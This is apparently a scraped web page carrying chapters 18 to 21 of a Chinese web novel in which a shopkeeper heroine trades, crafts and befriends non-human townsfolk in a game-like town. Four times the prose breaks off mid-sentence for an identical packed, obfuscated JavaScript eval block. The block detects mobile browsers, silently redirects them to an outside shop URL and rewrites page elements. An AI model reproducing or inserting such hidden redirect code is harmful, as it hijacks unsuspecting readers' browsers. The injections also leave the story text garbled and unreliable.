她扫一眼棋盘,根据直觉,把遗蜕放进炼铜炉里,盾甲则分解后放进了织造箱里,剧毒囊放进了丹炉里。 三个合成器的合成路径立刻增加了新的合成物,炼铜炉增加了护甲、傀儡和兽辇,丹炉增加了毒散、毒丹,织造箱特别简单多了一匹护甲布和一件护甲背心,但那背心比用蜈蚣壳一块拼凑起来的好看多了。 只是这些合成品后边都有‘限量’的提示。 苏芸合成出一份毒散,想用瓷瓶装的时候,发现这种初级合成物,瓷瓶居然装不了,必须用玉瓶。 接着又合成出一件护甲背心,打算明天出门穿,剩下的便暂时不动了。 另外这回从黄十三那儿买到的外观有两种石砖、一款石雕灯、一株花树,有了样品后就能大量跟系统购买,对整条街进行装饰布置。 可客栈想升级,而且客栈有宝箱,还是等把店铺升级后再考虑街面整体美观。 苏芸打开杏老给的卷轴,居然是一口温泉。 她是完全不记得之前做任务时收集的家具有哪些,但应该没有温泉吧? 这是完全不管主线、彻底脱离游戏设定自由发展了吗? 可……也不是不行啊! 苏芸利索地将温泉安置在卫生间里,卷轴一抛,犹带着热气的温泉就凭空出现在二楼,地面和楼下没受丝毫影响。 而后她又去看简墨给的卷轴,打开后有一堆崭新的书散落在地。 苏芸把书一点点填充到书架里,不大的架子一下就被填满,还有好些书只能摆在罗汉床的茶几上。 她把那本点名要的书翻来覆去看了看,没触发任何任务,书籍内容也枯燥无味,便随手放在一边。 另外抽奖券凑够十连了,苏芸愉快的抽了一把。 【恭喜你获得:灵晶宝箱×1、匕首×1、护身玉佩×1、轻行靴×1、辟谷丹×10、避邪香囊×1、精制熏香×1、驻颜灵膏×1、初级灵草×1、洗髓灵液×1】 苏芸目光一下子被最后一样东西吸引。 用棋盘一看,果然是传说中改善体质、天赋的好东西,且上面有提示和温泉搭配使用效果更佳,这不是巧了嘛。 她从新书里挑了本有趣的,拿着去泡温泉了。 苏芸一离开,那本古籍闪过一点亮光,书架上的一本书突然跌落下去,那本古籍一挪一挪翻山越岭地把自己塞进空位处才不动了。 而泡进温泉的苏芸压根没机会看书,一落入蕴藏洗髓灵液温泉水中,便不自觉陷入打坐入定的状态,直到清晨才苏醒。 早上醒来,苏芸先检查一番自己,见泡了大半晚半点事没有,便开心换衣服出门了。 她先去面馆买了两个包子,顺路再把采集到的药草卖到药铺。 药铺的老板叫陆灵素,个头很高,苏芸怀疑对方是药草且极有可能是毒药成精。 陆灵素接过零星的几份药材也不嫌弃,只说:“我不小心打翻了药箱,药材混了,你能帮我清理好吗?” 没问题,不就是药材版抓大鹅么,苏芸开心玩了一把。 【你认识到只是守着铺子还不够,你学会外出寻找客源,相信在你的经营下,杂货铺会越来越红火。】 【恭喜你获得:探山图纸×1、金元宝×300】 苏芸还在药铺多看了几眼,确定没有宝箱才叼着包子回去继续经营铺子。 今天早上,之前没来过的苏茗、黄十三等都过来买东西了。 苏茗随意买了几粒丹药,问:“你要开始炒制茶叶了吗?” 苏芸用光屏看看后山,果树还剩十二小时才成熟,茶树还要十六小时。 要等成熟后,才能解锁后山的炒茶、酿酒点。 没错,这种采集来的果树长出的果子主要用于果酒酿造,但田地里种出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563973|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水果不受限制。 苏芸说:“要等明天。” 苏茗脸上立刻带了笑,还道:“到时候拿给我看看,你采的茶肯定没我好。” 苏芸说:“你家的茶叶是很好喝,我昨天做了果茶呢。”一次就成功。 而且成功的配方可以选择记录配方,再用灶台时能复刻出味道一样的成品。 苏芸不但给苏茗品尝,还热情地给过来的客人都送了杯果茶。 她现在已经不用再守在门口看大家去向,因而过来的客人们会自己在铺子里找地方等候,果茶来得很及时。 苏茗尝了一口果茶,便拧眉:“这根本就是糟蹋了茶叶的清香。” 黄十三却道:“我觉得挺好喝,小云你多备些,我给你卖到外面去。” 还有这样的收获? 这游戏还挺能变通的! 苏芸赶忙说:“行,下回我去找你。” 又问:“你知道哪里有牛奶、羊奶买吗?” 既然游戏都这么能变通了,大可以再变通多一点,奶茶味道也不错啊。 黄十三拍着胸脯道:“包在我身上,下次找我必有的。” 苏茗见状有点不高兴地瞪他们一眼,脚步特别用力地先走了。 苏芸顿时有点尴尬:“我的茶叶产量少,应该影响不了他生意。” “他哪里是因为生意的事,他手里那些好茶都不愿意卖给旁人呢。”黄十三道:“他们那一族性子一贯如此,别管他。” 旁边那名眼很大名叫孙三酿的少年人道:“小云,等你酿了酒可一定要说,我可不在意那些。”他家是开酒铺的。 苏芸微微颔首。 等耗完这波灵力后,苏芸决定今天趁早出门打卡。 她跑去后院找大公鸡时,大公鸡正踩着一条小青蛇大快朵颐。 “……”有种不好的预感。 不过今天大公鸡态度意外的和煦,不用怎么劝便主动跟着她出门了。 走到剪纸店门口时,恰好有一阵风吹来,窗台下的桌案上,几个人物剪纸利落地跳起来把被风吹翻的窗花重新铺平摆好。 “……” 不要大惊小怪,又不是没见过纸人动弹,何况小石人天天跑来跑去的,都是小场面。 苏芸镇定自若地踏入店中。 店外的小摊都那么精彩,店内的纸质工艺品只多不少,不仅有各类繁复的剪纸、折纸作品,甚至还有些纸雕和纸塑工艺品。 苏芸一时看得眼花缭乱。 “小云来了?” 剪纸店的布局和其他铺子都不一样,前后被隔成了工作间和展示间,纸婆婆从内间出来。 苏芸道:“婆婆你的手艺真好。” 纸婆婆面上没有丝毫波澜,显然早就听惯了此类赞美。 “来得正好,我看你门上一直光秃秃的不像话,这对门神你请回去。”说着递过来一对卷好的画。 苏芸接过来便想打开看:“婆婆,您还有画画的手艺?” 纸婆婆严肃地按住她的手:“这画只能在上门时打开。”而后又道:“我哪里有这手艺,是简墨早早画好送来,等着你来取的,只是你长大后竟不爱出门了。” 苏芸尴尬一笑,“我去他铺子里时,没听他说这事啊。”又问:“要讲究吉时吉日,还有什么香火供奉么?” 19. 第 19 章 “小镇与外面不同,你也该学一学咱们自己的规矩。”纸婆婆道:“不用那些,但这对画品级不低,要郑重些。” 又说简墨:“他那性子也是不爱与旁人多说话的,想着你必会来我这儿,索性托我一并转交给你了。” 简墨……是不爱和人说话性子? 但他好像是不喜欢做生意哈。 按常规路线,苏芸如果外出确实会先来剪纸铺,只是中途出现透明触角这个意外。 画也分品级么? 苏芸直觉这不是说画的手艺,而是指其他,她刚想细问,纸婆婆又指了指旁边的斗柜,“你自己从里边找一对喜欢的窗花吧。” 收两份见面礼,这怎么好意思? 苏芸几步上前利落打开了抽屉,下一瞬光屏自动挪到眼前,触发连连看游戏了。 在一堆看似一样、仔细看又各不相同的窗花里,找到一模一样的进行消除,最后留下一对漂亮复杂的人物窗花。 一对小女孩举着个福字。 纸婆婆见状道:“拿到了便回去吧。” 苏芸想送些回礼,一方面是纸婆婆确实给了她很多帮助,另一方面也是想增加好感度。 剪纸铺虽然没有定期周常任务,但在特殊节日时,会有特别活动任务。 可她回送婆婆最常买的丹药,却被纸婆婆断然拒绝了:“今日的丹药我已经买好了。” 苏芸便凑了一整套梳洗、纸巾等生活用品,道:“婆婆你试试,很好用的。” 这回纸婆婆没再拒绝,“放柜子上吧。”而后轻咳几声,有些疲惫地往内间去。 并留了句:“还喜欢什么,自己拿。” 苏芸看到很多有趣的、好看的纸工艺品都挺喜欢,可哪好意思再多拿呢。 她告别了一声便往外走,刚跨过门槛,一个小纸人突然对着旁边货架上的折纸工艺品蹿过去。 苏芸先还以为是铺子里的纸人自己闹腾起来,定睛一看才发现是她手叠又合成过的纸人。 因为铺子里的纸工艺多为白色或红色,而她的纸人是黄紫色,差别还挺明显的。 问题是,苏芸早把这一推就倒的小废物抛到脑后,出门需要壮势都没想起过,小纸人怎么会跑这里来? 可不能让小纸人祸害人家铺子,她赶忙去抓小纸人。 小纸人虽然脆皮,但还挺灵活,且这铺子里全是纸质工艺品,视觉迷惑点太多,她一下没立刻按住纸人,便再也追不上纸人的动向了。 也就这点空隙,小纸人居然跟几个折纸工艺品打了起来。 苏芸才发现,纸婆婆出品的纸质成品也是脆皮,大家相互打斗时,能明显看到纸张来回波荡,仿佛一下秒就会散架。 可见不是她技术差。 但也正是因为大家都是脆皮,小纸人跟他们竟有些不分伯仲、旗鼓相当。 紧接着,小纸人忽然喷出一点火星子,跟苏芸的火焰术一样,还没打火机最低档大的火星子。 不是,原来你是法术挂,那你早说啊! 而后苏芸就看到那点火星子点燃了就近的其他工艺品。 苏芸吓了一跳,这铺子可全都是纸,一旦着火后果不堪设想,她顾不得其他,直接上手拍火。 还好那点火星一拍就灭,但此时店里所有折纸类工艺品全都闹腾起来了,它们同仇敌忾地朝着小纸人蜂拥而去。 而在家里一推就倒的小纸人这会儿意外的强势,小小的个头,颇有一马当关之势。 苏芸焦虑地看向大公鸡:“别干看着,快想想办法啊。” 大公鸡对着那些折纸工艺,微微张嘴。 苏芸眼疾手快扑过去擒住大公鸡的嘴,你那蜈蚣都能消灭的火就别使了。 她看向门外的溪流,也不知道怎么做到的,居然一着急控制住一条溪流慢慢飞来。 要知道平时苏芸意念能控制的最大的东西是茶壶,连茶壶里的水尚且无法控制明白。 正要让水流倒灌灭火时,一个急切的声音响起:“不能用水!” 苏芸顿时心里一紧,差点被吓得让这团水就地散落,幸好她及时稳住了水流,慢慢将水重新运回溪流中。 里间出来一位个头不低,但打扮很童真的女孩。 她比苏芸高半个头,至少一米七,偏偏扎着可可爱爱的双丫髻,额头和脸颊两边还特意点了红点,穿着一身大红色的华丽衣裙。 苏芸一时理不清这位的真实年纪。 对方见水流被放回去,松了口气,过来叉腰道:“纸术畏水不畏火,你这都不知道吗?”语气特别呛! 但铺子里的乱子是自家小纸人闹起来的,苏芸不免心虚:“不好意思,我不知道。” 对方微微讶异地睁大了眼睛,圆溜溜的眼睛越发显得天真可爱。 “既然不知道,那我就原谅你啦。”女孩扭头大喊一句:“不许吵,都给我乖乖待好。” 所有工艺品瞬间全都安静下来,还自觉回到原始的位置摆好,连小纸人也一溜烟过来,顺着苏芸的裙子一路爬到她背上。 小纸人似乎对女孩很忌惮,远没有先前一纸对阵一铺子工艺品的嚣张。 女孩伸手要去揪住小纸人,到底是亲手所制,苏芸微微后退避开了对方的手。 女孩有点不满:“你的纸人不乖。” 苏芸只说:“造成的损失我愿意赔偿。” 这时小纸人却跳到苏芸肩膀上手舞足蹈一番,女孩停顿片刻,露出恍然的神情:“是这样吗?” 她扭头看向其他折纸工艺品:“不可以对进来的客人指指点点!” 苏芸闻言,若有所思看向小纸人。 小纸人啪的一下坐在她肩膀上,还是那样软弱易推的模样。 女孩训完店铺的工艺品,取了一只纸叠的小牛递过来:“这个给你。” 苏芸却看向小纸人:“你想要同伴吗?” 小纸人摇摇头,又点点头。 苏芸一时不明所以,女孩道:“它说想要坐骑,不要同伴。” 苏芸便收下了纸牛,女孩认真看了眼小纸人,道:“怪不得你的纸人灵性这么足,原来你是用符纸叠的。” 确实,当时苏芸手里只有符纸,且后来纸人也是直接添加在符器的合成路径里,原材料就不一般。 “这里的工艺品全都是普通纸张制作的嘛?”苏芸不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569888|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“普通纸张居然能达到这样的效果,真是厉害啊!” “那是当然。”女孩骄傲地抬头:“纸媪的手艺是最好的。” 又指着小纸人说:“这小家伙既然这么有灵性,你可要好好教导,别让它变成坏孩子。” 这时,里边纸婆婆的声音传来:“小红,哪儿去了?你该吃药啦!” “我来啦。”女孩清脆地应了一声,对苏芸说了句:“下回再来找我玩啊。”就很利落地跑进里间去了。 她迅速转身的时候,裙摆跟着转动掀起一点弧度,一下子露出以木杆支撑的一双纸糊的腿。 苏芸:“……”玩不了一点。 她拍拍小纸人:“刚刚谢谢你为我出头呀。”以后不嫌弃你啦。 小纸人蹭了蹭她的手,似乎对之前的冷落毫无芥蒂。 苏芸反而有点不好意思,她利落收好剪纸铺的收获,把纸牛递给小纸人,便离开了铺子。 接下来嘛,苏芸深吸一口气,带着小纸人、一溜石精和大公鸡勇敢地走向隔壁。 还好这回没看到触角飞舞,心里上好受许多。 只是刚踏进香药铺,那名温婉女子便热情道:“小云,我跟你打了好几次招呼,你怎么才来?” “……”真是谢谢你啊。 怪不得每回大触角出来的时机都那么巧合呢。 香药铺老板名叫海漩,常穿曲裾,今日穿的是粉色碎花交领束腰配深绿直裾长裙,这个颜色按理说不搭。 但搭在海漩身上意外地适配,或者说以她的气质和相貌,很难穿得不好看。 苏芸每次看到这家铺子,都会被勾起触角的阴影。 说实话透明的、巨大的、蠕动的触角,比被大蜈蚣正面冲击还难受,大蜈蚣的冲击只是一瞬间,而触角是只要一想起就浑身难受。 但每次在看到海漩本人后,苏芸又会慢慢淡忘触角的可怕之处。 她仿佛不自觉被海漩的笑容感染,也不由自主地笑了笑:“我也有个炼香炉。” 虽然合成更多的是除尘粉、牙粉、香膏一类,真正的香很少出品,但目前她不太需要外购香料。 “我知道啊。”海漩道:“你可以把多余的香放我这儿来寄卖。” 【香药铺对你发布了定期收购任务,是否答应?】 当然答应! 苏芸赶忙点头:“好啊。” 她记得的这种每周定量收购任务只有花店、布店、茶店和药店,香铺也有吗? 苏芸赶忙调出香炉的合成物:“你看看,哪些适合寄卖?” 一般这种每周任务,每周收购的物品都不同,系统提前会给收购单,但香铺没自动弹出名单来。 海漩对高阶的合成香料不大感兴趣,反而挺喜欢香膏和各种清洁、除尘粉,“你多弄些,我都要。” 苏芸很开心,很负责任地问:“你想要什么香味?” “唔?”海漩茫然了一瞬,而后反应过来:“对了,人类喜欢稀奇古怪的味道。” 她身后有什么东西伸出来,从背后的货架上取了一个匣子过来。 苏芸眼神微敛,装作没看到那些细小的透明触角。 20. 第 20 章 海漩看一眼匣子,有点嫌弃地用指尖往桌子上一推,而后大方对苏芸说:“这是百年前我亲自找到的龙涎香,是他们说的真品,送给你。” 一百年前……那很珍贵了。 苏芸客气了一句:“怎么好意思呢?” 海漩又从身后取来好些匣子:“没有什么不好意思,反正平时也没多少人过来,这些都给你啦。” 苏芸怀里顿时被堆满了匣子,这回她真有点不好意思了:“多少钱啊,不能让你吃亏。” 海漩摆摆手:“你多来找我……”顿了顿,笑眯眯补充:“拿些香膏来就行啦。” 苏芸猛猛点头保证:“我肯定给你炼很多香膏。” 海漩撑着下巴:“刷子也要一些,不过要大一点的。” 得多大的刷子? 苏芸不敢深思海漩的售卖对象,只是说:“我回去试试看能不能行。” 【恭喜你成功与香药铺订下长期订单,商人重诺,可不要失信哟!】 【恭喜你获得突破奖励:特殊工具宝箱×1】 苏芸顿时惊喜异常。 这种手游里大概率本来没有、现实才增加的任务,居然能有这样丰厚的奖励? 突破奖?是不是还有很多可突破游戏既定程序的地方? 苏芸立时感激地给了海漩一堆鲜果、饭菜、果茶,海漩开心地收了,并当面就开吃。 边吃还边坦率地说:“没有肉好吃。”动作却没有丝毫停下的意思。 苏芸不免好笑,“下次有肉了,我一定给你留一些。” 无形之中,她对透明触角的畏惧似乎消退了几分,只要没看到就能完全忘记海漩的非人身份。 下一家店是双胞胎姐妹的花店。 这对姐妹的人物卡信息是最明确的,不像其他人的卡牌还要各种分析猜测。 她们的照片底下没有任何隐喻、暗示,特别直白地写明了“双生并蒂莲”,真是很表面的介绍了。 因而当发现人物卡里只写着她们一个叫砚白一个叫绯燃,却并没有说谁是姐姐谁是妹妹,苏芸也很理解。 “想要种子吗?”一入内,这对穿着一红一白同款齐胸襦裙的姐妹就问。 苏芸点头:“想买点花种。” “你现在只能买这些。”姐妹俩把几样初级花种给苏芸看,其他要等之后慢慢解锁。 苏芸每样花种都买了些。 姐妹俩又提示:“种出来的鲜花可以卖给我们哟。” 这才是正常的每周交易任务打开方式。 花店本该是第一个开启的周常任务,药铺那边是苏芸知道任务人为跳关跳剧情,香药铺完全是意外变动。 目前苏芸也不知道游戏种种变动到底是好是坏,但反正她不记得多少游戏剧情,现有的变动似乎都是朝着对她有利的方向。 毕竟多一些周常,获得经验值、金元宝和奖励的机会也更多。 下一家布匹店应该也是一样的流程。 只是苏芸才刚踏入店里,便看到老板络娘特别警惕地看了眼她身后的大公鸡。 大公鸡‘咯咯哒’一声,主动蹲在门口不动了。 络娘这才放松地问苏芸:“想要点什么?” 苏芸买了一些生丝。 【你发现新鲜的织造原材料。】 就这样,织造机生产路径增加的同时,也顺利获得每周布匹收购单。 络娘个头很小巧,面容秀美而精致,穿着打扮也很讲究,从上衣到裙摆全都绣满了精美的图案,整个人从头到脚都是美的。 只是她身上的绣文不能细看。 初看以为是某种碎花,细看全是长了好多腿的蜘蛛…… 难怪你擅长织布呢。 擅长织布的络娘在苏芸离开前,发布了一个小支线任务:“隔壁雪娘子生产的寒冰丝能织出特别精美的布匹,只是她似乎对我有些误会,不愿意与我交易。” 说完,很苦恼地看着苏芸。 苏芸很上道地说:“放心,我去帮你买来寒冰丝。” 【络娘向你述说了自己的小烦恼,你决定帮助她。】 络娘笑眯眯地看着苏芸离开。 隔壁雪娘子开的居然是一家冰铺,苏芸一进去就感到寒气扑面而来,而后才注意到所有柜台、货架、桌案上全部摆满了一颗一颗正正方方的冰块,且铺子里除了冰块并无其他。 小镇的天气不算热却也不算凉爽,大门敞开着,冰块摆在那儿没有丝毫融化的痕迹,连多余的水珠都看不到。 不过进店后她发现店里虽然寒气十足,但不冻人,能待得住。 看到雪娘子本人后,苏芸立刻想起来,雪娘子就是那天走到杂货铺门口看到大公鸡又飞快跑了的女孩。 此时的她同样忌惮大公鸡,本就白皙的面色愈发苍白,明明身处自家的铺子,却一个劲想后退藏起来。 这回是苏芸主动对大公鸡说:“那你在外面等我吧。” 大公鸡似乎也挺讨厌这铺子里的环境,不适地抖了抖羽毛,利落出去了。 苏芸对雪娘子歉意一笑,先问:“你这儿的冰能吃吗?” 要说果茶还差点什么,那就是冰块了。 雪娘子慢慢镇定下来后,表情反而是冷若冰霜、不好接近的,但一开口声音却软软糯糯。 “你想吃?”她说:“他们一般买冰都是铺在棺材边,但想吃也是可以的。” “……”那还是算了。 苏芸便问:“有寒冰丝吗?” 雪娘子歪头想想:“上回留了一些。” 苏芸用一枚金元宝兑换了一小卷生丝,这寒冰丝入手冰凉,透出的寒气似乎比周围的冰块还足。 她拿了迅速收入棋盘中。 雪娘子拿起金元宝,看一眼苏芸,忽然张嘴露出细碎的牙齿,一口咬住了金元宝。 “!” “你等等。”苏芸立刻去掰雪娘子的嘴,“这可不兴吃。” 抢回来的金元宝已经被咬了一截,雪娘子舔舔嘴,“嗯,不好吃。” 能好吃嘛,你又不是石精。 因为没法联机、几乎无用武之地的灶台出品再度有了发挥空间。 苏芸一盘盘地拿东西,不论是猎奇的草莓炒饭还是辣椒炒杨梅,雪娘子都来者不拒,真是帮了大忙了。 唯一不好的是,要看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572237|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,免得她一不小心把盘子一并给吃了。 吃着吃着,雪娘子突然掏出些带颜色的生丝,这些生丝的颜色好巧不巧跟刚刚她吃下去的草莓、西梅、茄子重叠了。 雪娘子把生丝推到苏芸面前。 苏芸看着十分新鲜的生丝:“给我?” “嗯,反正我留着也没用。” 苏芸看着雪娘子一身纯白毫无绣文、款式可言的长裙:“你可以留着做新衣服啊。” 雪娘子扯了扯身上的布料:“这不是衣服,我不用新衣服。” 说着做势要扯下衣服,证明给苏芸看。 苏芸赶忙按住她的手:“你……”顿了顿,她改口:“你平时也这样吗?” “当然不。”雪娘子理所当然:“你是新的¥%” 最后几个字含糊过去,苏芸没听清。 再问,雪娘子又不说了。 苏芸只好嘱咐:“吃元宝就算了,衣服也不能随便乱扯。” 她环顾一番。 产冰,跟络娘有误会,很怕大公鸡,到底什么身份啊。 思索时,苏芸忽然产生一个想法。 这种支线任务只要买了络娘想要的东西交给她就结束了,但络娘的原话是她和雪娘子之间有误会,如果更进一步设法解除这误会,任务奖励会不会更丰厚,抑或者这也算一种突破? 更主要的是,苏芸想多得些关于雪娘子的人物卡,说不定能薅到制冰一类的法术呢。 苏芸一面拿出更多东西投喂,一面试探着问:“隔壁布匹店的络娘你熟吗?” 雪娘子咔嚓咔嚓地吃,没有回答。 苏芸便似不经意般道:“你喜欢这些吃的吗?其实你的生丝能织布,你大可以将生丝卖给她,换来金元宝后再从我这儿换吃的。” 雪娘子抬头,“你这些东西也不好吃。” 苏芸一噎,那你还吃那么多。 她微笑:“你可以去街上其他铺子里买吃的。” 雪娘子叹口气:“街上的东西也不好吃。”接着目光朝隔壁的方向扫一眼:“她想吃我,我也想吃她,这算熟吗?” 苏芸:“……” 雪娘子又说:“不过前镇长说了,不能吃镇民,我会忍住的。”顿了顿,又看了眼门外,补充道:“所以也不能吃我。” “……当然。”苏芸尴尬一笑:“大公鸡不吃……” 她想说公鸡怎么会吃人呢,但紧接着想起对方非人的身份,又说:“不会乱吃的。” 应该吧? 聊不下去了。 苏芸放弃解除误会的事,就这么拿着生丝去了隔壁店铺,当然只有最初那一小卷白色的生丝。 络娘也并未多要,道了声谢,给她几枚金元宝,任务就结束了。 冰铺旁边是蜂蜜店。 一名头戴宝石镶嵌的华丽皇冠的成熟女性带着一个可可爱爱的小女孩在店铺里。 苏芸夜间时常看到小女孩端着大瓷缸穿梭在人群中,且经常跑着跑着就不自觉飞起来…… 女孩叫蜂甜甜,来杂货铺买过龙涎丹,但那名高大、成熟的美貌女子是第一回见。 “想要什么蜜?” 21. 第 21 章 美貌女子是和海漩完全不同的类型,典型的御姐风,连声音都散发着成熟的魅力。 但苏芸面对她时特别清醒,远没有面对海漩的迷糊感。 苏芸凑到柜台看了看:“好多品类啊。” 女子傲然道:“我家采蜜范围大,各种花蜜、药蜜都有。” “那挺好。”苏芸有点羡慕。 种子里开出过甜菜和甘蔗,她不缺糖,但还没有蜂蜜。 且苏芸记得棋盘里没有此类合成器,后山陆续解锁的场所也没有蜜箱。 “拿一罐槐花蜜。”苏芸小声感慨了一句:“要是自产自足就好了。” 美貌女子闻言眼睛一亮,一把推着旁边的蜂甜甜往苏芸那边去:“那你把她带回去呀,她能帮你产蜜。” 蜂甜甜也不反抗,顺着力道就栽到苏芸身上,并顺势抱住了苏芸的腰,似乎并不介意这样的安排。 苏芸:“……倒也不至于。” 美貌女子道:“你就收留她吧,不然再过一阵我也是要把她赶出家门的。” “哈?” 可美貌女子已经当她答应了,打包了好几罐蜂蜜,也不要钱,推着苏芸和小女孩就出了铺子,接着把蜂蜜怼在苏芸怀里,又对蜂甜甜嘱咐一句:“要乖乖听话产蜜。”便当着她们的面,把铺子大门关上了。 关上了! 苏芸抱着一包袱的蜂蜜罐和蜂甜甜面面相觑,准确地说是苏芸独自一人茫然着,蜂甜甜只渴望地看一眼她怀里的蜂蜜罐,而后伸手攥紧苏芸的衣角,似乎生怕被她抛下。 “……” 苏芸用力敲门,门内毫无反应。 她看看大公鸡:“她们不怕你?” 大公鸡扑腾了一下翅膀,又‘咯咯哒’两声,苏芸竟莫名明白了大公鸡的意思。 “是说她们能飞很高?” 苏芸看看紧闭的门,又看看蜂甜甜,无奈道:“你先跟我回去喝杯蜂蜜果茶吧?” 蜂甜甜点头,看起来特别乖巧。 苏芸带着蜂甜甜,先到雪娘子的店里买了些冰。 雪娘子看了眼蜂甜甜:“给我吃的吗?” 蜂甜甜朝着她小小地呲牙,不但毫无畏惧、反而跃跃欲试。 苏芸一手拉住蜂甜甜,一面很苦恼地对雪娘子说:“不是刚说不能随便吃镇民么?怎么还吓唬小孩子呢?她家大人硬推给我,我也不知道怎么办?” 雪娘子看看蜂甜甜,一脸了然:“肯定是想去你那后山筑新巢呢!”而后带着几分羡慕地看向苏芸:“我也想跟你回去。” 杂货铺的后山,灵气可足了。 那还是算了,苏芸拿着冰带着蜂甜甜继续往回走,等走到剪纸铺时,特意入内跟纸婆婆说了这事。 “她说再过一阵会把甜甜赶走的事是真的吗?您说这事怎么处理比较好?” 纸婆婆道:“不想理,直接扔回蜂蜜店门口就是,自有人会管的。” 苏芸不好意思地问:“我要是想养会有什么麻烦吗?” 纸婆婆诧异地看苏芸一眼,苏芸尴尬一笑:“我是觉得自己产蜜,确实划算些。”说不定能解锁全新建筑呢。 “你要想养着也没什么事,反正你那山里地方也大。”纸婆婆这么说。 苏芸就放心地带着蜂甜甜回铺子了。 她先让石精加紧开新的田地,把花种全部种下,花种多出一道浇水的工序,这需要合成水壶,再点击水壶一扫而过就是。 另外花种的成熟时间普遍比蔬果要长,有些甚至长过了树苗,所以苏芸种下种子就没管了。 她拿一部分冰放进干净的盆里,在冰块中间放上装了水的竹杯。 接着又把冰块直接扔进灶台里试了试。 灶台会把不是食物不能吃的东西直接扔出来。 这冰……果然能吃,但直接加了冰块的食物会有‘心凉凉’buff,效果持续半小时。 苏芸用各种鲜果、茶叶、蜂蜜和冰块整出了许多冰果茶。 蜂甜甜一直跟在旁边好奇地看。 “你现在应该还不能筑巢吧?先跟我住铺子里行吗?” 蜂甜甜直接上手端起一杯果茶喝了。 “哎!”苏芸赶忙夺过果茶:“这可不是给你喝的。” 之所以有特殊buff还继续生产,当然是给海漩和雪娘子准备的。 可蜂甜甜砸吧下嘴,没办点事,眼神看着果茶发亮。 “也是,你虽然年纪小……看着年纪小,身体素质真不一定比她们差。”苏芸把果茶递回去:“没事那你接着喝吧,不舒服一定要说。” 蜂甜甜便捧着杯子继续喝。 苏芸又弄了些冰镇的水做的果茶,这回没有额外BUFF,她也美滋滋喝起来,空余的手点开了特殊工具宝箱。 打开直接是一个完整的炼香炉,香炉升级后合成路径一下子成长许多。 苏芸又把从海漩那得来的香料和从络娘、雪娘子那儿得来的各种生丝全放进棋盘里,香炉和织造机的合成路径再度出现变化。 只是不等她细看,这点空档期,便有两名客人上门买东西。 苏芸完成几单交易,便提着编织箱继续出门,这回身后除了石精、大公鸡,还有蜂甜甜。 她先给婆婆送了两杯正常冰饮,又给海漩、姐妹花、络娘、雪娘子送了buff版,“这是加了蜂蜜的,你们再尝尝。” 海漩很喜欢,她不止喜欢蜂蜜,还喜欢冰块,说:“你去了雪娘子家吧,我每次回老家都会从她那儿买很多冰回去。” 苏芸趁机问了句:“她是不是比你小一些?感觉比较……”她斟酌了一下:“不懂世俗。” 海漩笑笑:“故意逗你的吧,能在镇上开店的人,都是住了很久的人家,怎么可能不懂。” 苏芸顿时无语。 雪娘子天生冷脸加软糯的声音,配上种种离谱行为,看起来比蜂甜甜还要不谙世事,居然是故意的。 她对冷妹祛魅了。 姐妹花喜欢蜜,但砚白喜欢冰,绯燃很讨厌冰。 络娘虽然笑嘻嘻的,可苏芸感觉她不算喜欢果茶,像可有可无。 雪娘子就很喜欢了,并且赞扬:“这个好吃。”她连果茶里当配料的柠檬片连皮也一块吃了。 “你是喜欢酸……” 不对,苏芸才想起,之前给雪娘子吃的灶台出品,全是之前的一级花篮开出来的普通蔬果,可这次做得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575739|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果茶,加了很多更高级的灵果。 她有点明白了:“下次给你带的吃食,你肯定会喜欢。” 旁边的蜂蜜店依旧大门紧闭,似乎怕她找事。 苏芸带着蜂甜甜继续往前,踏入孙三酿开的酒铺,“你之前不是说,有新饮品只管找你么?我给你带来了。” 蜂蜜的甜和白糖的甜,味道不一样,怎么不算一种创新呢。 孙三酿很喜欢‘心凉凉’buff的果茶:“这种酿造方法倒是特别,我以后酿酒也这样。” “……那你的客人一定很惊喜。” 酒铺有一个找宝物活动。 就是倒扣的三个酒瓶不断变换位置,找出其中那个藏了宝物的酒瓶,但每周只有三次寻宝机会。 